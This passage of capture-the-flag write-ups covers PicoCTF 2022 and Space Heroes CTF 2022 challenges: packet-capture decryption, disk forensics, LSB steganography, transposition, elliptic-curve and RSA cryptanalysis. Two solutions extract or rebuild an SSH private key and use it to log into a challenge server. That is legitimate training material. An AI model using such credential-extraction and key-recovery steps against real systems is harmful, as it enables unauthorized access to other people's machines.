print(f"Plaintext: {pt}") 87 | except: 88 | pass 89 | ``` 90 | and voilà ! we get the flag ! 91 | # Flag 92 | PCTF{g1mm3_th3_e} -------------------------------------------------------------------------------- /PicoCTF-2022/eavesdrop.md: -------------------------------------------------------------------------------- 1 | # Description 2 | Download this packet capture and find the flag. 3 | 4 | ![Screenshot from 2022-04-16 16-30-05](https://user-images.githubusercontent.com/101048320/163681013-0fb7202c-63e7-4fca-91d9-d1d3b79751d2.png) 5 | 6 | Hint : All we know is that this packet capture includes a chat conversation and a file transfer. 7 | ## Files 8 | - capture.flag.pcap 9 | 10 | # Solution 11 | ## Recon 12 | - We have a pcap file so we're definitely going to use wireshark 13 | ## Execution 14 | I went ahead and opened the packet capture with wireshark and got this : 15 | 16 | ![Screenshot from 2022-04-16 16-22-55](https://user-images.githubusercontent.com/101048320/163681352-9a58d6f9-5cf3-4542-963e-7aa858f7afa5.png) 17 | 18 | First idea is to follow the TCP stream so I went to Analyze > Follow > TCP Stream : 19 | 20 | ![Screenshot from 2022-04-16 16-23-21](https://user-images.githubusercontent.com/101048320/163681468-027adff3-3e66-434b-908c-8f89fb9671f8.png) 21 | 22 | We can see that this stream contains a conversation, it looks like they're transferring a file but the receiver doesn't know how to decode it so the sender provides a command : `openssl des3 -d -salt -in file.des3 -out file.txt -k supersecretpassword123` 23 | 24 | des3 and a password ? that's definitely a salted password we're looking for ! let's keep looking ! 25 | 26 | The third TCP stream revealed this : 27 | 28 | ![Screenshot from 2022-04-16 16-23-52](https://user-images.githubusercontent.com/101048320/163681894-3aea3511-54c1-4a25-9023-fb790f70240f.png) 29 | 30 | Bingo ! now in order to extract the file we need to convert it to raw data : 31 | 32 | ![Screenshot from 2022-04-16 16-24-31](https://user-images.githubusercontent.com/101048320/163681992-0637e189-d645-451b-b155-e953b2203c15.png) 33 | 34 | We hit `save as` and we give it the name `packet.des3` : 35 | 36 | ![Screenshot from 2022-04-16 16-25-47](https://user-images.githubusercontent.com/101048320/163682067-959234d4-9c2f-46df-b2e0-350ea371d99f.png) 37 | 38 | Now from the terminal we run this modified command : `openssl des3 -d -salt -in packet.des3 -out output.txt -k supersecretpassword123` 39 | ``` 40 | ┌─[not1cyyy@0x45] - [~/Desktop/picoCTF/eavesdrop] - [sam. avril 16, 16:28] 41 | └─[$] <> openssl des3 -d -salt -in packet.des3 -out output.txt -k supersecretpassword123 42 | *** WARNING : deprecated key derivation used. 43 | Using -iter or -pbkdf2 would be better. 44 | ``` 45 | This command results in an output file called `output.txt`, we `cat` this file and voila ! 46 | # Flag 47 | picoCTF{nc_73115_411_dd54ab67} 48 | -------------------------------------------------------------------------------- /PicoCTF-2022/operation-oni.md: -------------------------------------------------------------------------------- 1 | # Description 2 | Download this disk image, find the key and log into the remote machine. Note: if you are using the webshell, download and extract the disk image into /tmp not your home directory. 3 | 4 | ![](https://res.cloudinary.com/practicaldev/image/fetch/s--P7F2LanE--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://raw.githubusercontent.com/LambdaMamba/CTFwriteups/main/picoCTF_2022/Forensics/Operation_Oni/img/challenge.png) 5 | 6 | ## Files 7 | disk.img.gz 8 | # Solution 9 | ## Recon 10 | - Right away I knew I'll have to use some sort of disk mounting so I just used The Sleuth kit tool 11 | ## Execution 12 | To begin with I extracted the disk image with `gzip -d disk.img.gz`, next I ran this command : `mmls disk.img` to see the partition table of the image which revealed this : 13 | ``` 14 | ┌─[not1cyyy@0x45] - [~/Desktop/picoCTF/operation_oni_FINISHED] - [ven. avril 15, 20:45] 15 | └─[$] <> mmls disk.img 16 | DOS Partition Table 17 | Offset Sector: 0 18 | Units are in 512-byte sectors 19 | 20 | Slot Start End Length Description 21 | 000: Meta 0000000000 0000000000 0000000001 Primary Table (#0) 22 | 001: ------- 0000000000 0000002047 0000002048 Unallocated 23 | 002: 000:000 0000002048 0000206847 0000204800 Linux (0x83) 24 | 003: 000:001 0000206848 0000471039 0000264192 Linux (0x83) 25 | ``` 26 | 27 | Then I went ahead and accessed the last partition by running `fls -o 206848 disk.img` which gave me this output : 28 | ``` 29 | ┌─[not1cyyy@0x45] - [~/Desktop/picoCTF/operation_oni_FINISHED] - [ven. avril 15, 20:45] 30 | └─[$] <> fls -o 206848 disk.img 31 | d/d 458: home 32 | d/d 11: lost+found 33 | d/d 12: boot 34 | d/d 13: etc 35 | d/d 79: proc 36 | d/d 80: dev 37 | d/d 81: tmp 38 | d/d 82: lib 39 | d/d 85: var 40 | d/d 94: usr 41 | d/d 104: bin 42 | d/d 118: sbin 43 | d/d 464: media 44 | d/d 468: mnt 45 | d/d 469: opt 46 | d/d 470: root 47 | d/d 471: run 48 | d/d 473: srv 49 | d/d 474: sys 50 | V/V 33049: $OrphanFiles 51 | ``` 52 | The root directory seems interesting ! since we're looking for an ssh key it's probably there, I ran `fls -o 206848 disk.img 470` and here's what I got : 53 | ``` 54 | ┌─[not1cyyy@0x45] - [~/Desktop/picoCTF/operation_oni_FINISHED] - [ven. avril 15, 20:45] 55 | └─[$] <> fls -o 206848 disk.img 470 56 | r/r 2344: .ash_history 57 | d/d 3916: .ssh 58 | ``` 59 | Perfect ! now we access the .ssh directory the same way : 60 | ``` 61 | ┌─[not1cyyy@0x45] - [~/Desktop/picoCTF/operation_oni_FINISHED] - [ven. avril 15, 20:45] 62 | └─[$] <> fls -o 206848 disk.img 3916 63 | r/r 2345: id_ed25519 64 | r/r 2346: id_ed25519.pub 65 | ``` 66 | Bingo ! there's our ssh keys right there ! I ran the command `icat -o 206848 disk.img 2345` to cat the file and copied it to a file called `private.key` : 67 | ``` 68 | ┌─[not1cyyy@0x45] - [~/Desktop/picoCTF/operation_oni_FINISHED] - [ven. avril 15, 20:46] 69 | └─[$] <> icat -o 206848 disk.img 2345 70 | -----BEGIN OPENSSH PRIVATE KEY----- 71 | b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW 72 | QyNTUxOQAAACBgrXe4bKNhOzkCLWOmk4zDMimW9RVZngX51Y8h3BmKLAAAAJgxpYKDMaWC 73 | gwAAAAtzc2gtZWQyNTUxOQAAACBgrXe4bKNhOzkCLWOmk4zDMimW9RVZngX51Y8h3BmKLA 74 | AAAECItu0F8DIjWxTp+KeMDvX1lQwYtUvP2SfSVOfMOChxYGCtd7hso2E7OQItY6aTjMMy 75 | KZb1FVmeBfnVjyHcGYosAAAADnJvb3RAbG9jYWxob3N0AQIDBAUGBw== 76 | -----END OPENSSH PRIVATE KEY----- 77 | ``` 78 | We're not ready yet ! the default permissions for this file were 664 which are too open for the key so it becomes unuseable, I changed the permissions using this command : `chmod 400 private.key` which made the key ready to use ! 79 | 80 | Now we connect to the instance using this command : `ssh ctf-player@saturn.picoctf.net -p 64039 -i private.key` 81 | 82 | Using the `ls` command we see that there's a file called **flag.txt**, I ran the `cat` command and voila! 83 | # Flag 84 | picoCTF{k3y_5l3u7h_af277f77} -------------------------------------------------------------------------------- /PicoCTF-2022/sleuthkit-apprentice.md: -------------------------------------------------------------------------------- 1 | # Description 2 | Download this disk image and find the flag. 3 | 4 | Note: if you are using the webshell, download and extract the disk image into /tmp not your home directory. 5 | 6 | ![Screenshot from 2022-04-18 01-25-29](https://user-images.githubusercontent.com/101048320/163737817-4f5d04d3-1ce7-4498-aa71-25cf952e3930.png) 7 | 8 | ## Files 9 | - disk.flag.img 10 | # Solution 11 | ## Recon 12 | - This challenge is a typical disk analysis challenge so I prefer to use the sleuth kit tool as the title hints ! 13 | ## Execution 14 | So as a first step I tried to see the partition table by running `mmls disk.flag.img` : 15 | ``` 16 | ┌─[not1cyyy@0x45] - [~/Desktop/picoCTF/sleuthkit_apprentice_FINISHED] - [lun. avril 18, 01:23] 17 | └─[$] <> mmls disk.flag.img 18 | DOS Partition Table 19 | Offset Sector: 0 20 | Units are in 512-byte sectors 21 | 22 | Slot Start End Length Description 23 | 000: Meta 0000000000 0000000000 0000000001 Primary Table (#0) 24 | 001: ------- 0000000000 0000002047 0000002048 Unallocated 25 | 002: 000:000 0000002048 0000206847 0000204800 Linux (0x83) 26 | 003: 000:001 0000206848 0000360447 0000153600 Linux Swap / Solaris x86 (0x82) 27 | 004: 000:002 0000360448 0000614399 0000253952 Linux (0x83) 28 | ``` 29 | Hmmmm.. the last partition seems interesting ! let's go ahead and list it using `fls -o 360448 disk.flag.img` : 30 | ``` 31 | ┌─[not1cyyy@0x45] - [~/Desktop/picoCTF/sleuthkit_apprentice_FINISHED] - [lun. avril 18, 01:24] 32 | └─[$] <> fls -o 360448 disk.flag.img 33 | d/d 451: home 34 | d/d 11: lost+found 35 | d/d 12: boot 36 | d/d 1985: etc 37 | d/d 1986: proc 38 | d/d 1987: dev 39 | d/d 1988: tmp 40 | d/d 1989: lib 41 | d/d 1990: var 42 | d/d 3969: usr 43 | d/d 3970: bin 44 | d/d 1991: sbin 45 | d/d 1992: media 46 | d/d 1993: mnt 47 | d/d 1994: opt 48 | d/d 1995: root 49 | d/d 1996: run 50 | d/d 1997: srv 51 | d/d 1998: sys 52 | d/d 2358: swap 53 | V/V 31745: $OrphanFiles 54 | ``` 55 | Oh root I'm coming after you ! running `fls -o 360448 disk.flag.img 1995` we get : 56 | ``` 57 | ┌─[not1cyyy@0x45] - [~/Desktop/picoCTF/sleuthkit_apprentice_FINISHED] - [lun. avril 18, 01:34] 58 | └─[$] <> fls -o 360448 disk.flag.img 1995 59 | r/r 2363: .ash_history 60 | d/d 3981: my_folder 61 | ``` 62 | Seems like there's a folder here, let's investigate using `fls -o 360448 disk.flag.img 3981` : 63 | ``` 64 | ┌─[not1cyyy@0x45] - [~/Desktop/picoCTF/sleuthkit_apprentice_FINISHED] - [lun. avril 18, 01:35] 65 | └─[$] <> fls -o 360448 disk.flag.img 3981 66 | r/r * 2082(realloc): flag.txt 67 | r/r 2371: flag.uni.txt 68 | ``` 69 | Bingo ! I think we're up to something with that file ! we run `icat -o 360448 disk.flag.img 2371` and voila ! : 70 | ``` 71 | ┌─[not1cyyy@0x45] - [~/Desktop/picoCTF/sleuthkit_apprentice_FINISHED] - [lun. avril 18, 01:37] 72 | └─[$] <> icat -o 360448 disk.flag.img 2371 73 | picoCTF{by73_5urf3r_42028120} 74 | ``` 75 | # Flag 76 | picoCTF{by73_5urf3r_42028120} -------------------------------------------------------------------------------- /PicoCTF-2022/st3g0.md: -------------------------------------------------------------------------------- 1 | # Description 2 | Download this image and find the flag. 3 | 4 | ![Screenshot from 2022-04-16 17-18-16](https://user-images.githubusercontent.com/101048320/163683023-dfb8bc74-8821-4909-a35b-ae1b86e3b5f1.png) 5 | 6 | Hint : We know the end sequence of the message will be $t3g0. 7 | ## Files 8 | 9 | - pico.flag.png 10 | 11 | ![pico flag](https://user-images.githubusercontent.com/101048320/163683081-5de71c2c-e992-4f56-a919-835d2ac46725.png) 12 | 13 | # Solution 14 | ## Recon 15 | - $t3g0 ? isn't that LSB encoding ? 16 | ## Execution 17 | I had this python script that was laying in one of my previous ctf challenges that can decode LSB so I ran it against the image : 18 | ```python 19 | #import libraries 20 | import sys 21 | import numpy as np 22 | from PIL import Image 23 | np.set_printoptions(threshold=sys.maxsize) 24 | 25 | #encoding function 26 | def Encode(src, message, dest): 27 | 28 | img = Image.open(src, 'r') 29 | width, height = img.size 30 | array = np.array(list(img.getdata())) 31 | 32 | if img.mode == 'RGB': 33 | n = 3 34 | elif img.mode == 'RGBA': 35 | n = 4 36 | 37 | total_pixels = array.size//n 38 | 39 | message += "$t3g0" 40 | b_message = ''.join([format(ord(i), "08b") for i in message]) 41 | req_pixels = len(b_message) 42 | 43 | if req_pixels > total_pixels: 44 | print("ERROR: Need larger file size") 45 | 46 | else: 47 | index=0 48 | for p in range(total_pixels): 49 | for q in range(0, 3): 50 | if index < req_pixels: 51 | array[p][q] = int(bin(array[p][q])[2:9] + b_message[index], 2) 52 | index += 1 53 | 54 | array=array.reshape(height, width, n) 55 | enc_img = Image.fromarray(array.astype('uint8'), img.mode) 56 | enc_img.save(dest) 57 | print("Image Encoded Successfully") 58 | 59 | #decoding function 60 | def Decode(src): 61 | 62 | img = Image.open(src, 'r') 63 | array = np.array(list(img.getdata())) 64 | 65 | if img.mode == 'RGB': 66 | n = 3 67 | elif img.mode == 'RGBA': 68 | n = 4 69 | 70 | total_pixels = array.size//n 71 | 72 | hidden_bits = "" 73 | for p in range(total_pixels): 74 | for q in range(0, 3): 75 | hidden_bits += (bin(array[p][q])[2:][-1]) 76 | 77 | hidden_bits = [hidden_bits[i:i+8] for i in range(0, len(hidden_bits), 8)] 78 | 79 | message = "" 80 | for i in range(len(hidden_bits)): 81 | if message[-5:] == "$t3g0": 82 | break 83 | else: 84 | message += chr(int(hidden_bits[i], 2)) 85 | if "$t3g0" in message: 86 | print("Hidden Message:", message[:-5]) 87 | else: 88 | print("No Hidden Message Found") 89 | 90 | #main function 91 | def Stego(): 92 | print("--Welcome to $t3g0--") 93 | print("1: Encode") 94 | print("2: Decode") 95 | 96 | func = input() 97 | 98 | if func == '1': 99 | print("Enter Source Image Path") 100 | src = input() 101 | print("Enter Message to Hide") 102 | message = input() 103 | print("Enter Destination Image Path") 104 | dest = input() 105 | print("Encoding...") 106 | Encode(src, message, dest) 107 | 108 | elif func == '2': 109 | print("Enter Source Image Path") 110 | src = input() 111 | print("Decoding...") 112 | Decode(src) 113 | 114 | else: 115 | print("ERROR: Invalid option chosen") 116 | 117 | Stego() 118 | ``` 119 | Or alternatively, we can run `Zsteg` against the image and we get the same output ! it's as easy as that ! 120 | # Flag 121 | picoCTF{7h3r3_15_n0_5p00n_87ef5b0b} 122 | -------------------------------------------------------------------------------- /PicoCTF-2022/transposition-trial.md: -------------------------------------------------------------------------------- 1 | # Description 2 | 3 | Our data got corrupted on the way here. Luckily, nothing got replaced, but every block of 3 got scrambled around! The first word seems to be three letters long, maybe you can use that to recover the rest of the message. Download the corrupted message here. 4 | 5 | ![Screenshot from 2022-04-18 02-20-18](https://user-images.githubusercontent.com/101048320/163740146-382bba34-0786-424b-aa0f-6e1d7c62d732.png) 6 | 7 | 8 | Hint : Split the message up into blocks of 3 and see how the first block is scrambled 9 | ## Files 10 | - message.txt 11 | ``` 12 | heTfl g as iicpCTo{7F4NRP051N5_16_35P3X51N3_VCDE4CE4}7 13 | ``` 14 | # Solution 15 | ## Recon 16 | - At first glance this is just some scrambled text in a 3 letters sequence 17 | - Python would be really useful for us ! 18 | ## Execution 19 | First thing is that we have to split our scrambled flag into blocks of 3 letters each so in python it would be : 20 | ``` 21 | from textwrap import wrap 22 | 23 | s='heTflgasiicpCTo{7F4NRP051N5_16_35P3X51N3_VCDE4CE4}7' 24 | print(wrap(s,3)) 25 | ``` 26 | and it generated this output : 27 | ``` 28 | ['heT', 'flg', 'asi', 'icp', 'CTo', '{7F', '4NR', 'P05', '1N5', '_16', '_35', 'P3X', '51N', '3_V', 'CDE', '4CE', '4}7'] 29 | ``` 30 | The first word should be "The" so the first character is just moved to the last position in each block 31 | 32 | I went ahead and saved this output in a file and called it `stringsplit.txt` to strip it, then I opened it in python and looped over each line and ordered the characters according to the correct pattern : 33 | ``` 34 | dictionary = open("stringsplit.txt", "r") 35 | 36 | for i in dictionary: 37 | print((i[2]+i[0]+i[1]).strip()) 38 | ``` 39 | and it generated this output : 40 | ``` 41 | The 42 | gfl 43 | ias 44 | pic 45 | oCT 46 | F{7 47 | R4N 48 | 5P0 49 | 51N 50 | 6_1 51 | 5_3 52 | XP3 53 | N51 54 | V3_ 55 | ECD 56 | E4C 57 | 74} 58 | ``` 59 | I also saved this to a file named `organised.txt` to make things easy for me to work with 60 | 61 | Now for the final step I just joined the blocks together using : 62 | ``` 63 | organised = open("organised.txt", "r") 64 | flag = '' 65 | for j in organised: 66 | flag = flag+j.strip() 67 | print(flag) 68 | ``` 69 | and it resulted in this output : 70 | ``` 71 | ThegfliaspicoCTF{7R4N5P051N6_15_3XP3N51V3_ECDE4C74} 72 | ``` 73 | And voila! 74 | # Flag 75 | picoCTF{7R4N5P051N6_15_3XP3N51V3_ECDE4C74} -------------------------------------------------------------------------------- /Space-Heroes-CTF/Space-Heroes-CTF-2022/easy-crypto-challenge.md: -------------------------------------------------------------------------------- 1 | # Description 2 | My slingshotter cousin Maneo just discovered a new cryptography scheme and has been raving about it since. I was trying to tell him the importance of setting a large, random private key, but he wouldn't listen. Guess security isn't as important as how many thousands of credits he can win in his next race around the system. 3 | 4 | I've recovered a message sent to him detailing the finish line. Can you decrypt the message to find the coordinates so I can beat him there? I'll give you a percentage of the score! 5 | 6 | Enter flag as shctf{x_y}, where x & y are the coordinates of the decrypted point. 7 | 8 | Hint: You may wish to consult the great Sage of Crypto for help on this challenge. 9 | # Files 10 | ecc.txt 11 | 12 | # Solution 13 | ## Recon 14 | - "large ... private key" - this means some sort of brute force might be involved :) 15 | - opening the file ecc.txt we can quickly see coordinates which indicates that it's an Elliptic Curve Cryptography challenge and that's exactly what the file's name stands for ! 16 | ## Execution 17 | Now this challenge is pretty much a straight forward elliptic curve cryptography, using our great friend sagemath we define what we are given above as shown below : 18 | ``` 19 | a = 3820149076078175358 20 | 21 | b = 1296618846080155687 22 | 23 | p = 11648516937377897327 24 | 25 | E = EllipticCurve(GF(p), [a,b]) 26 | 27 | G = E(4612592634107804164, 6359529245154327104) 28 | 29 | PubKey = E(9140537108692473465, 10130615023776320406) 30 | ``` 31 | As we know the decypted message in the elliptic curve cryptography is just **M = Cb-(d*Ca)** where d is the private key and Cb,Ca being two points on our elliptic curve, we go ahead and define these latters first: 32 | ``` 33 | Ca = E(7657281011886994152, 10408646581210897023) 34 | 35 | Cb = E(5414448462522866853, 5822639685215517063) 36 | ``` 37 | Now for the fun part ! we need to recover the private key via a discrete_log brute force attack so we set that up : 38 | 39 | `d = G.discrete_log(PubKey)` 40 | 41 | Defining our message is just the mathematical expression : 42 | 43 | `M = Cb-(d*Ca)` 44 | 45 | Perfect ! now our decrypted message is ready so let's go ahead and print it out : 46 | 47 | `print(M)` 48 | 49 | looks like we get some coordinates : `(8042846929834025144 : 11238981380437369357 : 1)` 50 | and since the flag format is shctf{x_y} we officially found the flag ! 51 | # Flag 52 | shctf{8042846929834025144_11238981380437369357} -------------------------------------------------------------------------------- /Space-Heroes-CTF/Space-Heroes-CTF-2022/information-paradox.md: -------------------------------------------------------------------------------- 1 | # Description 2 | We were supplied with a corrupt RSA private key and we're asked to recover the full key in order to get the flag ! 3 | ``` 4 | ┌─[not1cyyy@0x45] - [~/Desktop/space-heroes-CTF/information-paradox_FINISHED] - [dim. avril 17, 01:28] 5 | └─[$] <> cat singularity.pem 6 | -----BEGIN RSA PRIVATE KEY----- 7 | MIIJKgIBAAKCAgEAyiLaBE3WT/Tmu3oKID++lbIhEENZD2+RfHutw5S6odTw10LY 8 | uHJLGAs2hjFlg31InNrzWjA8mK11aKTsWtG6OdOU+Nin7vUs918eca2aIzoTjnL8 9 | T5ohkzHvzYOn1BRZ6IIeTfgmAN6l3HsiMxH4ADVPpXxoCtJJA18qhCBGv+KcDos7 10 | SqL/EGg7USmzxSEGDFE8vFuJYZZEZygC3y4XhDerwtUrWDJbEOKp2VyeXaP2y/jk 11 | Am3rG5gpEd4HWIhsCrNl7Zkj9UCj/BX/DgbhEYkSTPKDlZ6ZXIPokD71Fsuol/Yb 12 | QsLTBTqoo7fqS9PbWBDOMEMgfRjsOYVs2r37A1hsHw8dsz6K1vogs+zOw/Li+jhZ 13 | **************************************************************** 14 | **************************************************************** 15 | **************************************************************** 16 | **************************************************************** 17 | **************************************************************** 18 | **************************************************************** 19 | **************************************************************** 20 | **************************************************************** 21 | **************************************************************** 22 | **************************************************************** 23 | **************************************************************** 24 | **************************************************************** 25 | **************************************************************** 26 | **************************************************************** 27 | **************************************************************** 28 | **************************************************************** 29 | **************************************************************** 30 | **************************************************************** 31 | **************************************************************** 32 | **************************************************************** 33 | **************************************************************** 34 | GDYGPNllyOAIOZUCggEBANNvIJO9Roh+p3+E05/Lt4KtR7GxO8oIrslq/j3dZhdp 35 | MbW1EomJv45grjC5hdk7e4k2vZKWnQsA0S1hKHwoklNIsbFEfzVBtLazVEnPF1/C 36 | DFuCoP1HpZ9gKnPhr0YkaInPyVDax8b41GdHl/D9gUh0xXr8k2UlV10Kt5cN9IrV 37 | Irb1CmW0IZyJKEmQRjIpQ/0aCn7Ygw+8SeluVGihwO7BD4GvjqiOeI/uDosELldu 38 | jATEKZiWtUeBXcBPfIDWNQ0kAB4I1SFR4gkLH0B3bQgmGG/7ZkMeAOoeOh2Rn30s 39 | GCbF9KPcxsaX0PROhlc5wgVs7ppcSjp9s6MjPN4qdH0CggEAKGj7TG24BYnr6r9J 40 | nqDQPJ1sv4TckYiyHPeN752qw3grLAO0pQQYATe9W/d4yI+0jCZ8m3OXYAbJSkkO 41 | 9bwHxsFFmpmhXPAo1EmJwSD6x5rIV2z+kUhROLe7qBvCbesDxj47Hb4p2jOP0yHP 42 | RS2BcA1gJ18O56ge1xOqVW/IYrHKaG1MN4/FjeailMu7FvAdcAF6nCQD5rIyNI1/ 43 | A5KO+uRxQwtUA5eahx21XIQm/S31VlMGzM4aeW+huyeAAG8q0uB72hSus9GC0PUK 44 | 8K/r06EeQ2fYeltYEhRzP7lrHyAUTO4xiopGPFlqXbD/3olItMDI0tfj+X+cKnUg 45 | 7sTM5QKCAQEAv4GIIEjv+fG+BOJqS/JY5SPOLEQ7w2LZ7dXbMm22ar39KHg5shny 46 | **************************************************************** 47 | **************************************************************** 48 | **************************************************************** 49 | **************************************************************** 50 | **************************************************************** 51 | **************************************************************** 52 | **************************************************************** 53 | **************************************************************** 54 | **************************************************************** 55 | **************************************************************** 56 | -----END RSA PRIVATE KEY----- 57 | ``` 58 | ## Files 59 | singularity.pem 60 | # Solution 61 | ## Recon 62 | - The key is in the pem format which leads us to think about the asn1 structure 63 | - There are 2 intact blocks so we can assume initially that we can recover 2 RSA elements from it 64 | ## Execution 65 | Looking at the file I tried to parse it using `openssl asn1parse -in singularity.pem` which gives me an error 66 | ``` 67 | ┌─[not1cyyy@0x45] - [~/Desktop/space-heroes-CTF/information-paradox_FINISHED] - [dim. avril 17, 01:28] 68 | └─[$] <> openssl asn1parse -in singularity.pem 69 | Error: offset out of range 70 | ``` 71 | I went ahead and converted the base64 values into hex values to keep track of the magic bytes of RSA `02 82`, doing that and excluding the 2 bytes after it we obtain nothing useful from the first block but instead got 2 integers from the second block ! 72 | 73 | ![Screenshot from 2022-04-17 01-32-48](https://user-images.githubusercontent.com/101048320/163695373-380a0f43-3f20-42be-acf4-c2cdfe8e977a.png) 74 | 75 | 76 | Knowing the asn1 structure we can assume that it can be one of the primes among them, using the isPrime function from Crypto.Util.number library in Python we confirmed that one of them is prime 77 | 78 | Great ! Since the other integer isn't prime and is directly after the prime number $q$ it's definetly $d_{p}$ which is $d$ mod ( $ p - 1 $ ) 79 | 80 | Now we need to write a simple python script that will get us $p$ ! 81 | 82 | We know that $ e*d_{p} = 1 $ mod ( $ p - 1 $ ) so doing the math we have to bruteforce $p$ knowing that $ p = \frac {(e*d_{p}-1)}{k} + 1 $ for $ 3 < k < e $ 83 | 84 | Assuming that $ e = 65537 $ we write this python script : 85 | 86 | ```python 87 | from Crypto.Util.number import isPrime 88 | q = 0x00d36f2093bd46887ea77f84d39fcbb782ad47b1b13bca08aec96afe3ddd66176931b5b5128989bf8e60ae30b985d93b7b8936bd92969d0b00d12d61287c28925348b1b1447f3541b4b6b35449cf175fc20c5b82a0fd47a59f602a73e1af46246889cfc950dac7c6f8d4674797f0fd814874c57afc936525575d0ab7970df48ad522b6f50a65b4219c8928499046322943fd1a0a7ed8830fbc49e96e5468a1c0eec10f81af8ea88e788fee0e8b042e576e8c04c4299896b547815dc04f7c80d6350d24001e08d52151e2090b1f40776d0826186ffb66431e00ea1e3a1d919f7d2c1826c5f4a3dcc6c697d0f44e865739c2056cee9a5c4a3a7db3a3233cde2a747d 89 | assert isPrime(q) 90 | dp = 0x2868fb4c6db80589ebeabf499ea0d03c9d6cbf84dc9188b21cf78def9daac3782b2c03b4a504180137bd5bf778c88fb48c267c9b73976006c94a490ef5bc07c6c1459a99a15cf028d44989c120fac79ac8576cfe91485138b7bba81bc26deb03c63e3b1dbe29da338fd321cf452d81700d60275f0ee7a81ed713aa556fc862b1ca686d4c378fc58de6a294cbbb16f01d70017a9c2403e6b232348d7f03928efae471430b5403979a871db55c8426fd2df5565306ccce1a796fa1bb2780006f2ad2e07bda14aeb3d182d0f50af0afebd3a11e4367d87a5b581214733fb96b1f20144cee318a8a463c596a5db0ffde8948b4c0c8d2d7e3f97f9c2a7520eec4cce5 91 | e = 65537 92 | 93 | for kp in range(3, e): 94 | p_mul = dp * e - 1 95 | if p_mul % kp == 0: 96 | p = (p_mul // kp) + 1 97 | if isPrime(p): 98 | break 99 | print(p) 100 | ``` 101 | The script gives us the needed prime, we proceed to generate the RSA private key using the two primes and connect to the server using ssh with the previously created key. 102 | 103 | Running the ls command we find a file called flag.txt, we run cat command and voila ! 104 | # Flag 105 | shctf{1nf0rm4ti0n_c4nn0t_b3_d3str0y3d} -------------------------------------------------------------------------------- /Space-Heroes-CTF/Space-Heroes-CTF-2022/invisible-stargate.md: -------------------------------------------------------------------------------- 1 | # Description 2 | We're supplied with this image and asked to recover a flag 3 | 4 | 5 | ![](https://www.ilsecoloxix.it/image/contentid/policy:1.17601196:1546065977/image/image.jpg?f=taglio_full2&h=605&w=1280&$p$f$h$w=013c4c3) 6 | 7 | Hint : the challenge's name hints on where to start 8 | # Solution 9 | ## Recon 10 | - "Invisible .." hmmmm.. this hints on something related to steganography ! 11 | - googling the word "stargate" we find a link to dcode.fr that has the title "Alphabet des Anciens de Stargate" which stands for "Stargate ancestors' alphabet" Aha! that explains why it's in the crypto category ! 12 | ## Execution 13 | Since it's most likely to be a steganography-related challenge I tried running multiple stego tools like binwalk and foremost but these latters give no output, steghide with no passphrase also gives no output. 14 | 15 | Okay things are getting interesting, Cat and Strings commands on Linux piped to a grep command give nothing other than random gibberish. 16 | 17 | Hmmmmm let's try Stegsolve! since the challenge title says "invisible" it's probably some sort of filter that needs to be applied, false hope.. nothing at all. 18 | 19 | There must be a tool that we don't know about so I tried googling "invisible steganography tools" and i stumbled across this tool called **Digital Invisible Ink Toolkit.** 20 | 21 | This must be it ! I went ahead to downloading it and I opened it 22 | 23 | Then heading to the decode section I was asked to supply an image and a passphrase, I uploaded the given image with no passphrase 24 | 25 | Then here's where stuff get complicated a bit, the default algorithm prompts me with an error so I kept trying until one that's called **"Dynamicfilterfirst"** worked ! 26 | 27 | ![Screenshot from 2022-04-17 01-38-46](https://user-images.githubusercontent.com/101048320/163695517-4bbe3384-3baf-4e3c-878a-f60a59f80ad9.png) 28 | 29 | 30 | Awesome ! now the output file indicates using the file command that it's a jpeg image so I went ahead and renamed it to output.jpeg 31 | 32 | and it gives us this weird image : 33 | 34 | ![output](https://user-images.githubusercontent.com/101048320/163496607-fcd017b2-b6ad-4fc3-a8ce-8becd6020914.jpeg) 35 | 36 | Aha! I recognize these ! it's the stargate alphabet that i stumbled across when googling ! 37 | 38 | using dcode.fr I was able to decrypt the message and voila ! 39 | # Flag 40 | shctf{one_small_step_for_jaffa} -------------------------------------------------------------------------------- /Space-Heroes-CTF/Space-Heroes-CTF-2022/off-the-grid.md: -------------------------------------------------------------------------------- 1 | # Description 2 | A space pirate was able to infiltrate the Galactic Federation HQ and plant a virus that's locked everyone out! Whenever they boot their machines, all that they see is this strange grid. Whoever this space pirate is, he sure doesn't play fair. 3 | ## Files 4 | - CryptoGrid.png 5 | 6 | ![CryptoGrid](https://user-images.githubusercontent.com/101048320/163603071-497d79ee-b834-4eab-a9a7-d1a0bf094e7d.PNG) 7 | 8 | - enc.txt 9 | ``` 10 | UIKOTHNVGELBKCRNPDDN 11 | ``` 12 | # Solution 13 | ## Recon 14 | - I didn't notice it right away but after I looked at the challenge description I noticed this : "...he sure doesn't **play fair**", that's a clear sign to the play fair cipher 15 | ## Explanation 16 | The play fair cipher is a cipher that relies on a grid to encrypt the message needed 17 | 18 | Let's say our key is "playfair example", so we need to translate it into a 5 x 5 grid. Remember that we cannot have any repeating letters, and once we finish our key we must complete the rest of the alphabet. 19 | 20 | ![](https://static.wixstatic.com/media/1a48ab_ff1feb3839f547798b0f94f7a19e8ae4~mv2.png/v1/fill/w_462,h_216,al_c,lg_1,q_90/1a48ab_ff1feb3839f547798b0f94f7a19e8ae4~mv2.webp) 21 | 22 | Now let's take the plaintext "hide the gold in the tree stump". In order to encrypt the text, we split it into two letter segments where "X" is used a filler to keep the pairs consistent [HI DE TH EG OL DI NT HE TR EE ST UM PX]. Now we find each pair on the 5 x 5 grid. 23 | 24 | If they create a box, match the opposing letters together. So "HI" becomes "BM". 25 | 26 | ![](https://static.wixstatic.com/media/1a48ab_f3eaf12076974dbbab75df9536dfee7b~mv2.png/v1/fill/w_462,h_216,al_c,lg_1,q_90/1a48ab_f3eaf12076974dbbab75df9536dfee7b~mv2.webp) 27 | 28 | If they create a vertical segment, add each character below to encrypt and each character above to decrypt. So "DE" becomes "OD". 29 | 30 | ![](https://static.wixstatic.com/media/1a48ab_7bac6a056ca64517be2a122ae0481f7b~mv2.png/v1/fill/w_462,h_216,al_c,lg_1,q_90/1a48ab_7bac6a056ca64517be2a122ae0481f7b~mv2.webp) 31 | 32 | If they create a horizontal segment, add each character to the right to encrypt and each character to the left to decrypt. So "EX" becomes "XM". 33 | 34 | 